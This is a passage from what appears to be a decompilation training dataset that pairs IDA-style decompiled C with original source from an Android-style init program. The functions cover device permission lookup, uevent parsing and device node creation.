 vfprintf(stderr, format, arg_list);
 __builtin_va_end(arg_list);
 fflush(stderr);
 exit(1);
}


repo: absabs/init

decompiled_code:
__int64 __fastcall get_device_perm_inner(const char **a1, const char *a2, _DWORD *a3, _DWORD *a4, _DWORD *a5)
{
const char **v5; // rbx
const char *v9; // rbp
size_t v10; // rax

v5 = a1;
v9 = *a1;
if ( !*a1 )
return 0xFFFFFFFFLL;
do
{
if ( *((_WORD *)v5 + 10) )
{
v10 = strlen(v9);
if ( !strncmp(a2, v9, v10) )
goto LABEL_4;
}
else if ( !strcmp(a2, v9) )
{
LABEL_4:
*a3 = *((_DWORD *)v5 + 3);
*a4 = *((_DWORD *)v5 + 4);
*a5 = *((_DWORD *)v5 + 2);
return 0LL;
}
v5 += 3;
v9 = *v5;
}
while ( *v5 );
return 0xFFFFFFFFLL;
}

canonical_decompiled_code:
__int64 __fastcall func0(const char **a1, const char *a2, _DWORD *a3, _DWORD *a4, _DWORD *a5)
{
const char **v5; // rbx
const char *v9; // rbp
size_t v10; // rax

v5 = a1;
v9 = *a1;
if ( !*a1 )
return 0xFFFFFFFFLL;
do
{
if ( *((_WORD *)v5 + 10) )
{
v10 = strlen(v9);
if ( !strncmp(a2, v9, v10) )
goto LABEL_4;
}
else if ( !strcmp(a2, v9) )
{
LABEL_4:
*a3 = *((_DWORD *)v5 + 3);
*a4 = *((_DWORD *)v5 + 4);
*a5 = *((_DWORD *)v5 + 2);
return 0LL;
}
v5 += 3;
v9 = *v5;
}
while ( *v5 );
return 0xFFFFFFFFLL;
}

original_code:
static int get_device_perm_inner(struct perms_ *perms, const char *path,
                                    unsigned *uid, unsigned *gid, mode_t *perm)
{
    int i;
    for(i = 0; perms[i].name; i++) {
        if(perms[i].prefix) {
            if(strncmp(path, perms[i].name, strlen(perms[i].name)))
                continue;
        } else {
            if(strcmp(path, perms[i].name))
                continue;
        }
        *uid = perms[i].uid;
        *gid = perms[i].gid;
        *perm = perms[i].perm;
        return 0;
    }
    return -1;
}

canonical_original_code:
static int get_device_perm_inner(struct perms_ *perms, char *path, unsigned int *uid, unsigned int *gid, unsigned int *perm)
{
    int i;
    for(i = 0; perms[i].name; i++) {
        if(perms[i].prefix) {
            if(strncmp(path, perms[i].name, strlen(perms[i].name)))
                continue;
        } else {
            if(strcmp(path, perms[i].name))
                continue;
        }
        *uid = perms[i].uid;
        *gid = perms[i].gid;
        *perm = perms[i].perm;
        return 0;
    }
    return -1;
}

variable_types: struct perms_ { char *name; unsigned int perm; unsigned int uid; unsigned int gid; unsigned short prefix; } *

variable_types:
path
char *

variable_types:
uid
unsigned int *

variable_types:
gid
unsigned int *

variable_types:
perm
unsigned int *

variable_types: i int


original_code:
static void parse_event(const char *msg, struct uevent *uevent)
{
    uevent->action = "";
    uevent->path = "";
    uevent->subsystem = "";
    uevent->firmware = "";
    uevent->major = -1;
    uevent->minor = -1;
    while(*msg) {
        if(!strncmp(msg, "ACTION=", 7)) {
            msg += 7;
            uevent->action = msg;
        } else if(!strncmp(msg, "DEVPATH=", 8)) {
            msg += 8;
            uevent->path = msg;
        } else if(!strncmp(msg, "SUBSYSTEM=", 10)) {
            msg += 10;
            uevent->subsystem = msg;
        } else if(!strncmp(msg, "FIRMWARE=", 9)) {
            msg += 9;
            uevent->firmware = msg;
        } else if(!strncmp(msg, "MAJOR=", 6)) {
            msg += 6;
            uevent->major = atoi(msg);
        } else if(!strncmp(msg, "MINOR=", 6)) {
            msg += 6;
            uevent->minor = atoi(msg);
        }
        while(*msg++)
            ;
    }
    log_write(6, "<6>init: " "event { '%s', '%s', '%s', '%s', %d, %d }\n", uevent->action, uevent->path, uevent->subsystem, uevent->firmware, uevent->major, uevent->minor);
}

canonical_original_code:
static void parse_event(char *msg, struct uevent *uevent)
{
    uevent->action = "";
    uevent->path = "";
    uevent->subsystem = "";
    uevent->firmware = "";
    uevent->major = -1;
    uevent->minor = -1;
    while(*msg) {
        if(!strncmp(msg, "ACTION=", 7)) {
            msg += 7;
            uevent->action = msg;
        } else if(!strncmp(msg, "DEVPATH=", 8)) {
            msg += 8;
            uevent->path = msg;
        } else if(!strncmp(msg, "SUBSYSTEM=", 10)) {
            msg += 10;
            uevent->subsystem = msg;
        } else if(!strncmp(msg, "FIRMWARE=", 9)) {
            msg += 9;
            uevent->firmware = msg;
        } else if(!strncmp(msg, "MAJOR=", 6)) {
            msg += 6;
            uevent->major = atoi(msg);
        } else if(!strncmp(msg, "MINOR=", 6)) {
            msg += 6;
            uevent->minor = atoi(msg);
        }
        while(*msg++)
            ;
    }
    log_write(6, "<6>init: " "event { '%s', '%s', '%s', '%s', %d, %d }\n", uevent->action, uevent->path, uevent->subsystem, uevent->firmware, uevent->major, uevent->minor);
}

variable_types:
msg
char *

variable_types: struct uevent { char *action; char *path; char *subsystem; char *firmware; int major; int minor; } *


decompiled_code:
void __fastcall make_device(char *file, int a2, int a3, int a4)
{
int v6; // eax
__gid_t group; // [rsp+0h] [rbp-30h] BYREF
__uid_t owner[11]; // [rsp+4h] [rbp-2Ch] BYREF

if ( a3 <= 255 && a4 <= 255 )
{
v6 = get_device_perm(file, owner, &group);
mknod(file, v6 | (a2 == 0 ? 0x2000 : 24576), a4 | (a3 << 8));
chown(file, owner[0], group);
}
}

canonical_decompiled_code:
void __fastcall func3(char *file, int a2, int a3, int a4)
{
int v6; // eax
__gid_t group; // [rsp+0h] [rbp-30h] BYREF
__uid_t owner[11]; // [rsp+4h] [rbp-2Ch] BYREF

if ( a3 <= 255 && a4 <= 255 )
{
v6 = func1(file, owner, &group);
mknod(file, v6 | (a2 == 0 ? 0x2000 : 24576), a4 | (a3 << 8));
chown(file, owner[0], group);
}
}

original_code:
static void make_device(const char *path, int block, int major, int minor)
{
    unsigned uid;
    unsigned gid;
    mode_t mode;
    dev_t dev;
    if(major > 255 || minor > 255)
        return;
    mode = get_device_perm(path, &uid, &gid) | (block ? 0060000 : 0020000);
    dev = (major << 8) | minor;
    mknod(path, mode, dev);
    chown(path, uid, gid);
}

canonical_original_code:
static void make_device(char *path, int block, int major, int minor)
{
    unsigned int uid;
    unsigned int gid;
    unsigned int mode;
    unsigned long dev;
    if(major > 255 || minor > 255)
        return;
    mode = get_device_perm(path, &uid, &gid) | (block ? 0060000 : 0020000);
    dev = (major << 8) | minor;
    mknod(path, mode, dev);
    chown(path, uid, gid);
}

variable_types: block int

variable_types: major int

variable_types: minor int

variable_types:
uid
unsigned int

variable_types:
gid
unsigned int

variable_types:
mode
unsigned int

variable_types:
dev
unsigned long